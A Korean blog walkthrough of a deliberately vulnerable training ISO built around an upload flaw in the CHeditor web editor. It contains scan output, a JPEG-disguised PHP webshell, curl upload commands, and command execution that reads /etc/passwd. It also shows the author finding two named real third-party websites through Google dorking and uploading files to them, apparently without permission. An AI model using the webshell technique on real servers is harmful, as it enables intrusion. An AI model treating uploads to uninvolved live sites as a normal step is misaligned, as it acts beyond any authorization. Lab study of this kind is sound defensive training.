홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#웹해킹 훈련장 #Live ISO #웹해킹 실습 #실습설명서 #WH-WebEditor #파일업로드 취약점 #이미지웹쉘 #PHP 웹쉘 #Web Editor #웹에디터 #cheditor #확장자 검증 #http_proxy #A1-Injection

WH-WebEditor-CH 웹해킹훈련장 라이브 ISO: CH 웹에디터에서의 이미지 검증 취약점

WH-WebEditor-CH 훈련장은 cheditor라는 상용 웹 에디터 관련 취약점 훈련장이다. 상용임에도 불구하고 국내에서는 비교적 많이 사용되고 있다. 원래 CHeditor가 배포하는 PHP는 보안상 안전하다. 그런데 JSP, ASP 등으로 번역(?)되는 과정에서 보안 취약점이 발생하는 대표적인 사례중의 하나이기도 하다. 라이브 ISO 파일은 다음에서 내려받을 수 있다.

wh-webeditor-ch: homepage
[ WH-WebEditor-CH: 누리집 ]

로그인 후 확인한 IP 주소는 192.168.189.238이다. 부팅후 접속한 누리집은 위와 같다.

root@kali:~# nmap -A 192.168.189.238

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-30 14:36 KST
Nmap scan report for 192.168.189.238
Host is up (0.00072s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.16 ((Unix) OpenSSL/1.0.2j PHP/5.5.13)
|_http-server-header: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
|_http-title: CHeditor \xEC\x82\xAC\xEC\xA7\x84 \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D\xB4\xEC\xA7\x80\xEC\xB7\xA8\xEC\x95\xBD\xEC\xA0\x90\xEC\xA0\x90\xEA\xB2\x80
MAC Address: 00:0C:29:E3:3F:16 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.72 ms 192.168.189.238

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.62 seconds
root@kali:~#

nmap 결과에서는 Apache/PHP 기반의 웹서비스인 것을 확인할 수 있다.

root@kali:~# nikto -host 192.168.189.238
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.189.238
+ Target Hostname:    192.168.189.238
+ Target Port:        80
+ Start Time:         2017-01-30 14:37:30 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ PHP/5.5.13 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7535 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2017-01-30 14:37:41 (GMT9) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#

nikto 스캔 결과에서도 Apache/PHP 기반의 웹서비스인 것을 확인할 수 있다. 별다른 취약점은 발견되지 않는다.

wh-webeditor-ch: zaproxy quick start scan result
[ WH-WebEditor-CH: OWASP-ZAP 빠른시작 스캔 결과 ]

OWASP-ZAP의 스캔 결과에도 별다른 취약점이 없다.

WH-WebEditor-CH 누리집에서 찾을 수 있는 URL은 다음과 같다.

  • http://192.168.189.238/index.php
  • http://192.168.189.238/cheditor/attach/3NN6EKX3VdPbjdnL9bgBn5Y7kB.jpg

/cheditor/라는 경로을 확인할 수 있다. 어떤 기능을 하는 디렉토리인지 구글을 이용하여 간접적으로 확인해보자. Google 웹검색에 사용한 검색어는 index of cheditor이다.

wh-webeditor-ch: real directory indexing, cheditor/
[ WH-WebEditor-CH: 디렉토리나열을 이용한 내용물 파악 ]

위 그림은 Google에서 index of cheditor로 찾은 사이트를 접근한 모습이다. 예제 디렉토리(/cheditor/example/)에서 몇가지 HTML 파일을 찾을 수 있다.

wh-webeditor-ch: real world example of cheditor
[ WH-WebEditor-CH: 다른 누리집의 예제 페이지 접근 화면 ]

http://igaoshou.com/cheditor/example/newpost.html에 접근하였다. 이미지를 올릴 수 있었다. 이미지 업로드 기능은 http://igaoshou.com/cheditor/insert_image.php이었다.

WH-WebEditor-CH 훈련장에도 이러한 디렉토리나 이미지 업로드 기능이 있는 지 파악한다.

  • http://192.168.189.238/cheditor/example/newpost.html -> Not Found
  • http://192.168.189.238/cheditor/example/ -> Not Found
  • http://192.168.189.238/cheditor/insert_image.php -> Not Found

버전별로 다를 수 있다. 다른 몇 군데 누리집을 계속 탐색한다.

http://prebebe.co.kr/cheditor/example/에 접속하였다.

wh-webeditor-ch: another real world example of cheditor
[ WH-WebEditor-CH: 다른 누리집의 또다른 예제 페이지 이미지 올리기 ]

예제 페이지에 접근하여 이미지를 업로드하였다.

  • http://prebebe.co.kr/cheditor/example/: 예제 디렉토리
  • http://prebebe.co.kr/cheditor/example/newpost.html: 예제 페이지
  • http://prebebe.co.kr/cheditor/attach/3KP2nZnl94O.jpg: 업로드한 이미지 URL

그런데 OWASP-ZAP의 프록시(history)에서 이미지를 업로드하는 POST 방식의 URL을 찾을 수 없다. 이는 FireFox가 아니라 다른 경로를 통해서 이미지를 업로드한다는 의미이다. 주로 웹에서는 플래쉬(flash)가 담당하기도 한다.

  • http://prebebe.co.kr/cheditor/popup/js/image_upload_flash.js: 이미지 업로드 관련 자바스크립트
  • http://prebebe.co.kr/cheditor/popup/flash/CHXImage.swf: 이미지 업로드 플래쉬 파일

FireFox는 환경설정(Preferences)에서 네트워크 프록시를 변경할 수 있다. 그러나 위에서 사용한 플래쉬는 별도의 프록시 구성을 할 수 없으므로 시스템 전체의 네트워크 프록시를 설정하거나 (/etc/environment 파일 설정)하면 칼리 리눅스의 프록시를 변경할 수 있다.

보다 간단한 방법은 현재부터 실행하는 모든 자식프로세스(child process)를 프록시를 사용하도록 강제하는 방법이다. http_proxy 그리고/또는 https_proxy 환경변수를 OWASP-ZAP의 프록시로 설정하면 된다.

root@kali:~# export http_proxy=http://127.0.0.1:8080/
root@kali:~# firefox &
root@kali:~#

위에서 구동한 파이어폭스로 다시 예제 페이지를 접근해서 이미지를 업로드한다.

wh-webeditor-ch: zaproxy detected the flash's image upload
[ WH-WebEditor-CH: OWAS-ZAP이플래시가 업로드하는 HTTP 요청/응답 탐지 ]

OWASP-ZAP에서 예제 페이지의 이미지 업로드 기능을 확인할 수 있다.

  • http://prebebe.co.kr/cheditor/imageUpload/upload.php

이 과정의 대안으로는 MS Windows의 인터넷 옵션을 사용할 수 있다. 윈도우에 OWASP-ZAP을 설치하고 인터넷 옵션의 프록시를 zaproxy로 설정하면 모든 HTTP 응답/요청을 zaproxy에서 확인이 가능하다.

WH-WebEditor-CH 훈련장에서 다음 URL이 존재하는 지 확인한다.

  • http://192.168.189.238/cheditor/popup/flash/CHXImage.swf
  • http://192.168.189.238/cheditor/imageUpload/upload.php

위의 두 URL이 존재하면 구글 검색에서 찾은 것과 동일한 방식으로 이미지를 업로드할 수 있을 것이다.

root@kali:~# curl -I http://192.168.189.238/cheditor/popup/flash/CHXImage.swf 
HTTP/1.1 200 OK
Date: Mon, 30 Jan 2017 06:41:58 GMT
Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Last-Modified: Mon, 26 Nov 2012 15:00:40 GMT
ETag: "31926-4cf6732573600"
Accept-Ranges: bytes
Content-Length: 203046
Content-Type: application/x-shockwave-flash

root@kali:~#

http://192.168.189.238/cheditor/popup/flash/CHXImage.swf가 존재한다.

root@kali:~# curl -I http://192.168.189.238/cheditor/imageUpload/upload.php
HTTP/1.1 200 OK
Date: Mon, 30 Jan 2017 06:42:30 GMT
Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Content-Type: text/html

root@kali:~#

http://192.168.189.238/cheditor/imageUpload/upload.php가 존재한다. 아마도 구글 검색에서 찾은 예제와 동일한 방식으로 이미지를 올릴 수 있을 것이다. 이를 위해 OWASP-ZAP의 Resend 기능을 이용해보자.

wh-webeditor-ch: URL change to submit image to the target
[ WH-WebEditor-CH 훈련장으로 이미지를 업로드하도록 zaproxy의 RESEN 기능 조작 ]

POST의 URL만을 WH-WebEditor-CH 훈련장으로 변경하였다.

wh-webeditor-ch: http response, zaproxy resend
[ WH-WebEditor-CH: 조작한 Resend 요청의 HTTP 응답 ]

서버의 응답에 이미지가 올라간 것을 확인할 수 있다.

wh-webeditor-ch: image check with firefox
[ WH-WebEditor-CH: 파이어폭스로 확인한 업로드 이미지 ]

파이어폭스로 해당 이미지를 접근하면 실제 이미지가 업로드된 것을 확인할 수 있다. 예제 페이지가 없었지만 이미지 업로드 기능(/cheditor/imageUpload/upload.php) 만으로 이미지 업로드에 성공하였다.

wh-webeditor-ch: upload php extension with zaproxy resend
[ WH-WebEditor-CH: OWASP-ZAP 프록시에서 확장자 변경으로 올린 이미지 웹쉘 실행 ]

OWASP-ZAP의 Resend에서 확장자를 php로 변경하여 이미지를 올렸을 때 웹쉘 생성이 가능하였다. 다음은 세번의 이미지 업로드에 대한 HTTP 응답과 HTTP 요청을 저장한 결과이다.

  1. 구글 검색 결과 페이지에서의 업로드
  2. WH-WebEditor-CH 훈련장으로의 이미지 업로드
  3. WH-WebEditor-CH 훈련장으로의 웹쉘 업로드

WH-WebEditor-CH 훈련장에서는 Cheditor의 확장자 검증기능을 고의로 삭제하였다. 따라서 이 취약점은 CHeditor 자체의 취약점이 아니다. Cheditor를 JSP/ASP 누리집에 적용하면서 개발자들이 보안 관련 코드를 누락시키면서 주로 발생한다. 예를 들어 배포본의 imageUpload/upload.php에는 확장자 검증기능이 존재하지만 JSP나 ASP 개발자들이 이 코드가 기능상으로는 불필요하기 때문에 삭제하게 되면 웹쉘 업로드 취약점이 발생한다. 취약점이 발생하는 경우는 대개 imageUpload/upload.jsp, imageUpload/upload.asp 등이다.

curl을 이용하여 터미널에서 웹쉘 실행결과를 확인할 수도 있다.

root@kali:~# curl "http://192.168.189.238/cheditor/attach//LeQiXuxmKhArQtfG1d8v3Y1A7jC.php?1=system&2=cat+/etc/passwd" 2> /dev/null | grep -a -A 100 "<pre>"
<pre>root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
root@kali:~#

다음은 curl을 이용한 이미지 웹쉘 업로드 및 웹쉘 실행 예제이다. 참조하기 바란다.

root@kali:~# ls -als xmm.jpg.php 
4 -rw-rw-r-- 1 root root 985  1월 22 21:27 xmm.jpg.php
root@kali:~# identify xmm.jpg.php 
xmm.jpg.php JPEG 41x29 41x29+0+0 8-bit sRGB 985B 0.000u 0:00.000
root@kali:~# tail -1 xmm.jpg.php 
<pre><?php system($_GET[1]) ?>
root@kali:~#
root@kali:~# curl -F "Filename=test.php" -F "filesize=985" -F "file=@xmm.jpg.php;type=application/octet-stream" -F "Upload=Submit Query" http://192.168.189.238/cheditor/imageUpload/upload.php -v
*   Trying 192.168.189.238...
* Connected to 192.168.189.238 (192.168.189.238) port 80 (#0)
> POST /cheditor/imageUpload/upload.php HTTP/1.1
> Host: 192.168.189.238
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 1500
> Expect: 100-continue
> Content-Type: multipart/form-data; boundary=------------------------09a07e3db39ff072
> 
< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Date: Mon, 30 Jan 2017 11:03:00 GMT
< Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
< X-XSS-Protection: 1
< X-Content-Type-Options: nosniff
< Content-Length: 187
< Content-Type: text/html
< 
* Connection #0 to host 192.168.189.238 left intact
{ fileUrl: 'http://192.168.189.238/cheditor/attach//O4UFqOKT.php', filePath: '/var/www/cheditor/attach//O4UFqOKT.php', origName: 'xmm.jpg.php', fileName: 'O4UFqOKT.php', fileSize: '985' }root@kali:~#
root@kali:~# curl http://192.168.189.238/cheditor/attach//O4UFqOKT.php?1=id 2> /dev/null | grep -a "<pre>"
<pre>uid=80(www) gid=80(www) groups=80(www)
root@kali:~#

[처음 작성한 날: 2017.01.30]    [마지막으로 고친 날: 2017.02.07] 


< 이전 글 : 단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (2017.03.29)

> 다음 글 : 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (2017.01.25)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .